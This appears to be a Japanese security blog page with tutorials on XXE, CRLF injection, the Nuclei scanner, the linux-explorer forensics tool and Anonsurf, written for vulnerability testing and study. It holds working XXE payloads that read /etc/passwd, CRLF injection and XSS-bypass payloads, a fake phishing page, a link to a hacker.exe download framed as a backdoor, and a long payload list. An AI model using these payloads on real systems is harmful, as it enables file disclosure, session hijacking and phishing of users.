Shikata Ga Nai

Private? There is no such things.

XXEについて書いてみた

Hello there, ('ω')ノ


XXEは、XML外部エンティティインジェクションの略で。

WEBアプリケーションのXMLデータの処理を妨害できる脆弱性で。

多くの場合、アプリケーションサーバのファイルシステム上のファイルを表示して。

アプリケーション自体がバックエンドにアクセスできたり。

外部システムと対話することができたりと。

 

内部エンティティ:エンティティがDTD内で宣言されている場合

 構文:<!ENTITY entity_name "entity_value">

 

外部エンティティ:エンティティがDTDの外部で宣言されている場合

 構文:<!ENTITY entity_name SYSTEM "entity_value">

 

脆弱性診断ガイドラインをみると。

診断を実施すべき箇所は、リクエストにXMLが含まれている箇所 で。

操作を行う対象は、XMLが格納されている箇所(パラメータ、ファイルなど)で。

ペイロード・検出パターンの例は下記のとおりで。

 元の値:
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <foo>test</foo>


 試行例:
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/hosts" >]><foo>&xxe;</foo>

 

ただ、これだけでは十分な診断ができず。

サーバは予期していなかったデータ形式を受け入れる場合があって。

これで、JSONエンドポイントがXXEに対して脆弱になる可能性があって。

なので、Content-TypeヘッダとHTTPリクエストペイロードを試して。

JSONエンドポイントに対しても悪用される可能性があるかどうかを確認したりと。

 

たとえば、下記のノーマルなケースがあったとして。

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
 
{"search":"name","value":"12345"}

 

HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
 
 
{"error": "no results for name 12345"}
 

 

Content-Typeをxmlに変更して、レスポンスを確認すると。

このエラーからサーバがXML形式のデータとJSON形式のデータを処理できるらしく。

Content-Typeヘッダに記載されているXMLではなかったため解析できなくて。 

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38
 
{"search":"name","value":"12345"}


HTTP Request:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127
 
{"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within the same entity."}}

 

このエラーをクリアするには、JSONをXMLに変換する必要があって。

 

Original JSON

{"search":"name","value":"12345"}


XML Conversion

<?xml version="1.0" encoding="UTF-8" ?>
<search>name</search>
<value>12345</value>

 

ただ、単純な変換だと適切にフォーマットされたXMLに必要なルート要素がないので。

無効なXMLになったりもして。

その場合は、XMLを有効にするルート要素<root>を追加するのが最善の策でして。

 

<?xml version="1.0" encoding="UTF-8" ?>
 
<root>
<search>name</search>
<value>12345</value>
</root>


これで、元のJSONリクエストをXMLとして送信できて。

サーバは有効なレスポンスを返すことができて。

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
 
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>12345</value>
</root>


HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
 
{"error": "no results for name netspitest"}

 

これでXXEの環境が整ったので。

XXEで、JSONエンドポイントに対して悪用できて。

 

HTTP Request:

POST /netxxe HTTP/1.1
Host: someserver.netxxe.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288
 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<search>name</search>
<value>&xxe;</value>
</root>


HTTP Response:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467
 
{"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

 

Best regards, (^^ゞ

CRLFインジェクションについて書いてみた

Hello there, ('ω')ノ

 

CRLFインジェクションについて、脆弱性診断ガイドラインを拝見すると。

診断を実施すべき箇所は、レスポンスヘッダに値を出力しているところで。

操作を行う対象は、レスポンスヘッダに値を出力しているパラメータで。

診断方法として、パラメータの値に検出パターンを挿入して。

リクエストを送信するとのことで。

わからない人が、わからないのは当然のことで。

 

まずは、HTTPレスポンスは、1行目にステータスラインというものがあって。

次の赤い文字がレスポンスヘッダというもので。

空行(CR+LF)をはさんで、レスポンスボディで。

 

HTTP/1.1 200 OK
Date: Mon, 22 Jul 2020 12:58:58 GMT
Server: Apache/2.2.14 (Win32)
Last-Modified: Wed, 21 Jul 2020 19:15:56 GMT
Content-Length: 89
Content-Type: text/html
Connection: Closed
<html>
<body>
<h1>Hello, World!!!!!</h1>
</body>
</html>

 

たとえば、一般的な例だと。

 

リクエスト:

http://site/cookies.aspx?cookie=123

 

レスポンス:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 5 Mar 2020 14:11:50 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: mycookie=123
Cache-Control: private
Content-Type: text/html; charset=utf-8

 

脆弱性のある場合だと、改行コードをパラメータに追記すると。

 

リクエスト:

http://site/cookies.aspx?cookie=123%0D%0ASet-Cookie%3A%20hackercookie=hacked

 

パラメータ:

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.1
Date: Thu, 5 Mar 2020 14:11:50 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: mycookie=123
Set-Cookie: hackercookie=hacked
Cache-Control: private
Content-Type: text/html; charset=utf-8

 

なので脆弱性があると、下記のようにバックドアを仕掛けることができて。

 

http://thesite.com/something.aspx?id=9999%0d%0a
Content-Length:+22%0d%0a%0d%0a<html>%0d%0a<a href=www.hacker.com/hacker.exe>
Please update first </a>%0d%0a</html>%0d%0aHTTP/1.1

 

CRLFインジェクションについてのレポートは、下記で検索できて。

 https://hackerone.com/hacktivity?querystring=CRLF%20injection

 

f:id:ThisIsOne:20210113163433p:plain

 

下記のように検索すると実際にはもっとあって。

 site:hackerone.com inurl:/reports/ "CRLF"

 

f:id:ThisIsOne:20210113163257p:plain

 

CRLFインジェクションについては、複雑なパターンも。

さらにはフィルタリングを回避することも。

 

CRLF - Add a cookie

Requested page

http://www.example.net/%0D%0ASet-Cookie:mycookie=myvalue

HTTP Response

Connection: keep-alive
Content-Length: 178
Content-Type: text/html
Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/[INJECTION STARTS HERE]
Set-Cookie: mycookie=myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block

CRLF - Add a cookie - XSS Bypass

Requested page

http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e

HTTP Response

HTTP/1.1 200 OK
Date: Tue, 20 Dec 2016 14:34:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 22907
Connection: close
X-Frame-Options: SAMEORIGIN
Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
ETag: "842fe-597b-54415a5c97a80"
Vary: Accept-Encoding
X-UA-Compatible: IE=edge
Server: NetDNA-cache/2.2
Link: <https://example.com/[INJECTION STARTS HERE]
Content-Length:35
X-XSS-Protection:0

23
<svg onload=alert(document.domain)>
0

CRLF - Write HTML

Requested page

http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E

HTTP response

Set-Cookie:en
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Mon, 27 Oct 2060 14:50:18 GMT
Content-Length: 34

<html>You have been Phished</html>

CRLF - Filter Bypass

Using UTF-8 encoding

%E5%98%8A%E5%98%8Dcontent-type:text/html%E5%98%8A%E5%98%8Dlocation:%E5%98%8A%E5%98%8D%E5%98%8A%E5%98%8D%E5%98%BCsvg/onload=alert%28innerHTML%28%29%E5%98%BE

Remainder:

  • %E5%98%8A = %0A = \u560a
  • %E5%98%8D = %0D = \u560d
  • %E5%98%BE = %3E = \u563e (>)
  • %E5%98%BC = %3C = \u563c (<)

 

最後にペイロード一覧を。

 

%0AHeader-Test:BLATRUC
%0A%20Header-Test:BLATRUC
%20%0AHeader-Test:BLATRUC
%23%OAHeader-Test:BLATRUC
%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC
%3F%0AHeader-Test:BLATRUC
crlf%0AHeader-Test:BLATRUC
crlf%0A%20Header-Test:BLATRUC
crlf%20%0AHeader-Test:BLATRUC
crlf%23%OAHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8D%0AHeader-Test:BLATRUC
crlf%3F%0AHeader-Test:BLATRUC
%0DHeader-Test:BLATRUC
%0D%20Header-Test:BLATRUC
%20%0DHeader-Test:BLATRUC
%23%0DHeader-Test:BLATRUC
%23%0AHeader-Test:BLATRUC
%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC
%3F%0DHeader-Test:BLATRUC
crlf%0DHeader-Test:BLATRUC
crlf%0D%20Header-Test:BLATRUC
crlf%20%0DHeader-Test:BLATRUC
crlf%23%0DHeader-Test:BLATRUC
crlf%23%0AHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8D%0DHeader-Test:BLATRUC
crlf%3F%0DHeader-Test:BLATRUC
%0D%0AHeader-Test:BLATRUC
%0D%0A%20Header-Test:BLATRUC
%20%0D%0AHeader-Test:BLATRUC
%23%0D%0AHeader-Test:BLATRUC
\r\nHeader-Test:BLATRUC
\r\n Header-Test:BLATRUC
\r\n Header-Test:BLATRUC
%5cr%5cnHeader-Test:BLATRUC
%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC
%3F%0D%0AHeader-Test:BLATRUC
crlf%0D%0AHeader-Test:BLATRUC
crlf%0D%0A%20Header-Test:BLATRUC
crlf%20%0D%0AHeader-Test:BLATRUC
crlf%23%0D%0AHeader-Test:BLATRUC
crlf\r\nHeader-Test:BLATRUC
crlf%5cr%5cnHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8DHeader-Test:BLATRUC
crlf%E5%98%8A%E5%98%8D%0D%0AHeader-Test:BLATRUC
crlf%3F%0D%0AHeader-Test:BLATRUC
%0D%0A%09Header-Test:BLATRUC
crlf%0D%0A%09Header-Test:BLATRUC
%250AHeader-Test:BLATRUC
%25250AHeader-Test:BLATRUC
%%0A0AHeader-Test:BLATRUC
%25%30AHeader-Test:BLATRUC
%25%30%61Header-Test:BLATRUC
%u000AHeader-Test:BLATRUC
//www.google.com/%2F%2E%2E%0D%0AHeader-Test:BLATRUC
/www.google.com/%2E%2E%2F%0D%0AHeader-Test:BLATRUC
/google.com/%2F..%0D%0AHeader-Test:BLATRUC

 

Best regards, (^^ゞ

Nucleiを使ってスキャンしてみた

Hello there, ('ω')ノ

 

Nucleiは、テンプレートに基づいてターゲットスキャンするツールで。

 https://github.com/projectdiscovery/nuclei/releases/

 

f:id:ThisIsOne:20210113112005p:plain

 

解凍して。

 tar tar -xzvf nuclei_2.2.0_linux_amd64.tar.gz

 

f:id:ThisIsOne:20210113132854p:plain

 

実行ファイルを移動して。

 mv nuclei /usr/local/bin

 

f:id:ThisIsOne:20210113133054p:plain

 

バージョン等を確認して。

 

f:id:ThisIsOne:20210113133203p:plain

 

GOコマンドを使える環境が必要なようで。

 https://github.com/grewwc/go_tools

 

f:id:ThisIsOne:20210113133645p:plain

 

ダウンロードして。

 git clone https://github.com/grewwc/go_tools.git

 

f:id:ThisIsOne:20210113133904p:plain

 

ソースからリポジトリを取得して。

 GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei

 

f:id:ThisIsOne:20210113134327p:plain

 

テンプレートをアップデートして。

 nuclei -update-templates

 

f:id:ThisIsOne:20210113134926p:plain

 

もしくは、下記からダウンロードして。

 https://github.com/projectdiscovery/nuclei-templates

 

f:id:ThisIsOne:20210113135307p:plain


最後にターゲットのURLをファイルに作成して。

 

f:id:ThisIsOne:20210113135647p:plain

 

今回は、OWASP BWAにあるWordPressをターゲットに。

 

f:id:ThisIsOne:20210113144034p:plain

 

下記のようにテンプレートを指定して実行すると。

 nuclei -l url.txt -t nuclei-templates/vulnerabilities/wordpress -o results.txt

 

f:id:ThisIsOne:20210113143841p:plain

 

ちなみにテンプレートはディレクトリ毎にしていすることもできて。

 nuclei -l url.txt -t nuclei-templates -o results.txt

 

f:id:ThisIsOne:20210113141513p:plain

 

Best regards, (^^ゞ

linux explorerを導入してみた

Hello there, ('ω')ノ

 

linux explorerは、Linuxエンドポイント用のライブフォレンジックツールボックスで。

 git clone https://github.com/intezer/linux-explorer.git

 

f:id:ThisIsOne:20210112165956p:plain

 

インストールして。

 pip install -r requirements.txt

 

f:id:ThisIsOne:20210112171549p:plain

 

apt install yara

 

f:id:ThisIsOne:20210112171935p:plain

 

apt install chkrootkit

 

f:id:ThisIsOne:20210112172043p:plain

 

シグネチャーをアップデートして。

 ./update_signatures.sh

 

f:id:ThisIsOne:20210112175343p:plain

 

実行すると。

 ./deploy.sh

 

f:id:ThisIsOne:20210112175432p:plain

 

ブラウザでアクセスするようにとのことで。

 

f:id:ThisIsOne:20210112175516p:plain

 

アクセスしてみると、下記のような機能があるようで。

 

ps

 完全なプロセスリストを表示

 プロセスメモリマップを検査し、メモリ文字列を簡単にフェッチ

 ワンクリックでプロセスメモリをダンプ

 公共サービスでハッシュを自動的に検索

 

users

 users list

 

find

 名前/正規表現で疑わしいファイルを検索

 

netstat

 Whois

 

logs

 Syslog

 auth.log(ユーザ認証ログ)

 ufw.log(ファイアウォールログ)

 bashの履歴

 

anti-rootkit

 chkrootkit

 

yara

 @ Neo23x0によるYARA署名を使用してファイルまたはディレクトリをスキャン

 実行中のプロセスのメモリアドレス空間をスキャン

 独自のYARA署名をアップロード

 

f:id:ThisIsOne:20210112175546p:plain

 

f:id:ThisIsOne:20210112175730p:plain

 

f:id:ThisIsOne:20210112175920p:plain

 

Best regards, (^^ゞ

Anonsurfで匿名化してみた

Hello there, ('ω')ノ

 

Anonsurfは、TorネットワークIPテーブルを使用してシステム全体を匿名化して

ただ、匿名化するための非常に優れたツールですが。

システムを完全に匿名化できるツールはなくて。

 https://github.com/Und3rf10w/kali-anonsurf

 

f:id:ThisIsOne:20210111135515p:plain

 

まず、GithubリポジトリからAnonsurfのクローンを作成することに。

 git clone https://github.com/Und3rf10w/kali-anonsurf.git

 

f:id:ThisIsOne:20210111135601p:plain

 

インストールを。

 ./installer.sh

 

f:id:ThisIsOne:20210111135655p:plain

 

下記を実行後に一度、ターミナルを閉じて。

 anonsurf start

 

f:id:ThisIsOne:20210111140019p:plain

 

IPアドレスを確認して。

 anonsurf myip

 

f:id:ThisIsOne:20210111140352p:plain

 

DNSを確認すると。

 https://dnsleaktest.com/

 

f:id:ThisIsOne:20210111140621p:plain

 

フランスと確認できて。

 

f:id:ThisIsOne:20210111140646p:plain

 

下記で、IPアドレスを変更することに。

 anonsurf change

 

f:id:ThisIsOne:20210111141033p:plain

 

再度、DNSを確認するとドイツと確認できて。

 

f:id:ThisIsOne:20210111140943p:plain

 

Best regards, (^^ゞ